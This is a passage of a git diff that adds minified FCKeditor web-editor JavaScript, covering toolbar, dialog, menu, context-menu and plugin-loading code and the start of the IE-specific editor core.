(FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=[];this.ItemsWysiwygOnly=[];this.ItemsContextSensitive=[];this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=[];for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=2) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=2) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==0){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var j=0;j<C.length;j++) C[j].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog={};FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I={};I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F,G){var H=(FCKConfig.ScreenHeight-E)/2;var I=(FCKConfig.ScreenWidth-D)/2;var J="location=no,menubar=no,toolbar=no,dependent=yes,dialog=yes,minimizable=no,modal=yes,alwaysRaised=yes,resizable="+(G?'yes':'no')+",width="+D+",height="+E+",top="+H+",left="+I;if (!F) F=window;FCKFocusManager.Lock();var K=F.open('','FCKeditorDialog_'+B,J,true);if (!K){alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();return;};K.moveTo(I,H);K.resizeTo(D,E);K.focus();K.location.href=C;K.dialogArguments=A;F.FCKLastDialogInfo=A;this.Window=K;try{window.top.parent.addEventListener('mousedown',this.CheckFocus,true);window.top.parent.addEventListener('mouseup',this.CheckFocus,true);window.top.parent.addEventListener('click',this.CheckFocus,true);window.top.parent.addEventListener('focus',this.CheckFocus,true);}catch (e){}};FCKDialog.CheckFocus=function(){if (typeof(FCKDialog)!="object") return false;if (FCKDialog.Window&&!FCKDialog.Window.closed) FCKDialog.Window.focus();else{try{window.top.parent.removeEventListener('onmousedown',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('mouseup',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('click',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('onfocus',FCKDialog.CheckFocus,true);}catch (e){}};return false;};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};function FCKMenuItem_SubMenu_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuItem_SubMenu_OnHide(A){A.Deactivate();};function FCKMenuItem_OnClick(A,B){if (B.HasSubMenu) B.Activate();else{B.Deactivate();FCKTools.RunFunction(B.OnClick,B,[B]);}};function FCKMenuItem_OnMouseOver(A,B){B.Activate();};function FCKMenuItem_OnMouseOut(A,B){B.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=[];};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=[];var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};function FCKMenuBlock_Item_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuBlock_Item_OnActivate(A){var B=A._ActiveItem;if (B&&B!=this){if (!FCKBrowserInfo.IsIE&&B.HasSubMenu&&!this.HasSubMenu) A._Window.focus();B.Deactivate();};A._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B){var C=this._Panel=new FCKPanel(A,true);C.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');C.IsContextMenu=true;var D=this._MenuBlock=new FCKMenuBlock();D.Panel=C;D.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var A=e.target;while (A){if (A._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,A._FCKContextMenu,A);};A=A.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(A,B,C){var D=C||this;if (B.OnBeforeOpen) B.OnBeforeOpen.call(B,D);if (B._MenuBlock.Count()==0) return false;if (B._Redraw){B._MenuBlock.Create(B._Panel.MainNode);B._Redraw=false;};B._Panel.Show(A.pageX||A.screenX,A.pageY||A.screenY,A.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(A,B){B._Panel.Hide();FCKTools.RunFunction(B.OnItemClick,B,A);}
+FCK.ContextMenu={};FCK.ContextMenu.Listeners=[];FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var A=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCKLang.Dir);A.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;A.OnItemClick=FCK_ContextMenu_OnItemClick;var B=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) B.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(A){switch (A){case 'Generic':return {AddItems:function(menu,tag,tagName){menu.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==-1);menu.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==-1);menu.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==-1);}};case 'Table':return {AddItems:function(menu,tag,tagName){var B=(tagName=='TABLE');var C=(!B&&FCKSelection.HasAncestorNode('TABLE'));if (C){menu.AddSeparator();var D=menu.AddItem('Cell',FCKLang.CellCM);D.AddItem('TableInsertCell',FCKLang.InsertCell,58);D.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);D.AddItem('TableMergeCells',FCKLang.MergeCells,60);D.AddItem('TableSplitCell',FCKLang.SplitCell,61);D.AddSeparator();D.AddItem('TableCellProp',FCKLang.CellProperties,57);menu.AddSeparator();D=menu.AddItem('Row',FCKLang.RowCM);D.AddItem('TableInsertRow',FCKLang.InsertRow,62);D.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);menu.AddSeparator();D=menu.AddItem('Column',FCKLang.ColumnCM);D.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);D.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (B||C){menu.AddSeparator();menu.AddItem('TableDelete',FCKLang.TableDelete);menu.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(menu,tag,tagName){var E=(tagName=='A'||FCKSelection.HasAncestorNode('A'));if (E||FCK.GetNamedCommandState('Unlink')!=-1){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0&&F.href.length==0);if (G) return;menu.AddSeparator();if (E) menu.AddItem('Link',FCKLang.EditLink,34);menu.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&!tag.getAttribute('_fckfakelement')){menu.AddSeparator();menu.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(menu,tag,tagName){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0);if (G||(tagName=='IMG'&&tag.getAttribute('_fckanchor'))){menu.AddSeparator();menu.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&tag.getAttribute('_fckflash')){menu.AddSeparator();menu.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('FORM')){menu.AddSeparator();menu.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='checkbox'){menu.AddSeparator();menu.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='radio'){menu.AddSeparator();menu.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='text'||tag.type=='password')){menu.AddSeparator();menu.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='hidden'){menu.AddSeparator();menu.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='image'){menu.AddSeparator();menu.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='button'||tag.type=='submit'||tag.type=='reset')){menu.AddSeparator();menu.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(menu,tag,tagName){if (tagName=='SELECT'){menu.AddSeparator();menu.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(menu,tag,tagName){if (tagName=='TEXTAREA'){menu.AddSeparator();menu.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('UL')){menu.AddSeparator();menu.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('OL')){menu.AddSeparator();menu.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};};return null;};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent('OnSelectionChange');var A,sTagName;if ((A=FCKSelection.GetSelectedElement())) sTagName=A.tagName;var B=FCK.ContextMenu._InnerContextMenu;B.RemoveAllItems();var C=FCK.ContextMenu.Listeners;for (var i=0;i<C.length;i++) C[i].AddItems(B,A,sTagName);};function FCK_ContextMenu_OnItemClick(A){FCK.Focus();FCKCommands.GetCommand(A.Name).Execute();};
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=[];else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.IndexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins={};FCKPlugins.ItemsCount=0;FCKPlugins.Items={};FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
diff --git a/fckeditor/editor/js/fckeditorcode_ie.js b/fckeditor/editor/js/fckeditorcode_ie.js
new file mode 100755 (executable)
index 0000000..94f0ce5
--- /dev/null
@@ -0,0 +1,97 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ *
+ * This file has been compacted for better loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';var CTRL=1000;var SHIFT=2000;var ALT=4000;
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){var A=arguments;if (A.length==1&&A[0].pop) A=A[0];for (var i=0;i<A.length;i++){if (this==A[i]) return true;};return false;};String.prototype.IEquals=function(){var A=this.toUpperCase();var B=arguments;if (B.length==1&&B[0].pop) B=B[0];for (var i=0;i<B.length;i++){if (A==B[i].toUpperCase()) return true;};return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.IndexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.StartsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.EndsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.Remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.Trim=function(){return this.replace(/(^[ \t\n\r]*)|([ \t\n\r]*$)/g,'');};String.prototype.LTrim=function(){return this.replace(/^[ \t\n\r]*/g,'');};String.prototype.RTrim=function(){return this.replace(/[ \t\n\r]*$/g,'');};String.prototype.ReplaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var    FCKIECleanup=function(A){if (A._FCKCleanupObj) this.Items=A._FCKCleanupObj.Items;else{this.Items=[];A._FCKCleanupObj=this;FCKTools.AddEventListenerEx(A,'unload',FCKIECleanup_Cleanup);}};FCKIECleanup.prototype.AddItem=function(A,B){this.Items.push([A,B]);};function FCKIECleanup_Cleanup(){if (!this._FCKCleanupObj) return;var A=this._FCKCleanupObj.Items;while (A.length>0){var B=A.pop();if (B) B[1].call(B[0]);};this._FCKCleanupObj=null;if (CollectGarbage) CollectGarbage();}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera'),IsMac:s.Contains('macintosh')};(function(A){A.IsGeckoLike=(A.IsGecko||A.IsSafari||A.IsOpera);if (A.IsGecko){var B=s.match(/gecko\/(\d+)/)[1];A.IsGecko10=B<20051111;}else A.IsGecko10=false;})(FCKBrowserInfo);
+var FCKURLParams={};(function(){var A=document.location.search.substr(1).split('&');for (var i=0;i<A.length;i++){var B=A[i].split('=');var C=decodeURIComponent(B[0]);var D=decodeURIComponent(B[1]);FCKURLParams[C]=D;}})();
+var FCKEvents=function(A){this.Owner=A;this._RegisteredEvents={};};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this._RegisteredEvents[A])) this._RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this._RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;};
+var FCK={Name:FCKURLParams['InstanceName'],Status:0,EditMode:0,Toolbar:null,HasFocus:false,GetLinkedFieldValue:function(){return this.LinkedField.value;},GetParentForm:function(){return this.LinkedField.form;},StartupValue:'',IsDirty:function(){return (this.StartupValue!=this.EditorDocument.body.innerHTML);},ResetIsDirty:function(){if (this.EditorDocument.body) this.StartupValue=this.EditorDocument.body.innerHTML;},StartEditor:function(){this.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';var A=FCK.KeystrokeHandler=new FCKKeystrokeHandler();A.OnKeystroke=_FCK_KeystrokeHandler_OnKeystroke;A.SetKeystrokes(FCKConfig.Keystrokes);if (FCKBrowserInfo.IsIE7){if ((CTRL+86/*V*/) in A.Keystrokes) A.SetKeystrokes([CTRL+86,true]);if ((SHIFT+45/*INS*/) in A.Keystrokes) A.SetKeystrokes([SHIFT+45,true]);};this.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.EditingArea.FFSpellChecker=false;this.SetHTML(this.GetLinkedFieldValue());},Focus:function(){FCK.EditingArea.Focus();},SetStatus:function(A){this.Status=A;if (A==1){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);},FixBody:function(){var A=FCKConfig.EnterMode;if (A!='p'&&A!='div') return;var B=this.EditorDocument;if (!B) return;var C=B.body;if (!C) return;FCKDomTools.TrimNode(C);var D=C.firstChild;var E;while (D){var F=false;switch (D.nodeType){case 1:if (!FCKListsLib.BlockElements[D.nodeName.toLowerCase()]) F=true;break;case 3:if (E||D.nodeValue.Trim().length>0) F=true;};if (F){var G=D.parentNode;if (!E) E=G.insertBefore(B.createElement(A),D);E.appendChild(G.removeChild(D));D=E.nextSibling;}else{if (E){FCKDomTools.TrimNode(E);E=null;};D=D.nextSibling;}};if (E) FCKDomTools.TrimNode(E);},GetXHTML:function(A){if (FCK.EditMode==1) return FCK.EditingArea.Textarea.value;this.FixBody();var B;var C=FCK.EditorDocument;if (!C) return null;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);},UpdateLinkedField:function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');},RegisteredDoubleClickHandlers:{},OnDoubleClick:function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);},RegisterDoubleClickHandler:function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;},OnAfterSetHTML:function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');},ProtectUrls:function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;},ProtectEvents:function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);},ProtectEventsRestore:function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);},ProtectTags:function(A){var B='META';if (FCKConfig.ProtectedTags.length>0) B+='|'+FCKConfig.ProtectedTags;if (FCKBrowserInfo.IsIE) B+='|ABBR';var C=new RegExp('<('+B+')([ \>])','gi');A=A.replace(C,'<FCK:$1$2');C=new RegExp('<\/('+B+')>','gi');A=A.replace(C,'<\/FCK:$1>');return A;},SetHTML:function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==0){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);A=FCK.ProtectTags(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+_FCK_GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;var C='<body';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) C+=' id="'+FCKConfig.BodyId+'"';if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) C+=' class="'+FCKConfig.BodyClass+'"';B+='</head>'+C+'>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=_FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{FCK.EditorWindow=null;FCK.EditorDocument=null;this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;FCK.EnterKeyHandler=null;FCK.KeystrokeHandler.AttachToElement(this.EditingArea.Textarea);this.EditingArea.Textarea.focus();FCK.Events.FireEvent('OnAfterSetHTML');};if (FCKBrowserInfo.IsGecko) window.onresize();},HasFocus:false,RedirectNamedCommands:{},ExecuteNamedCommand:function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();},GetNamedCommandState:function(A){try{if 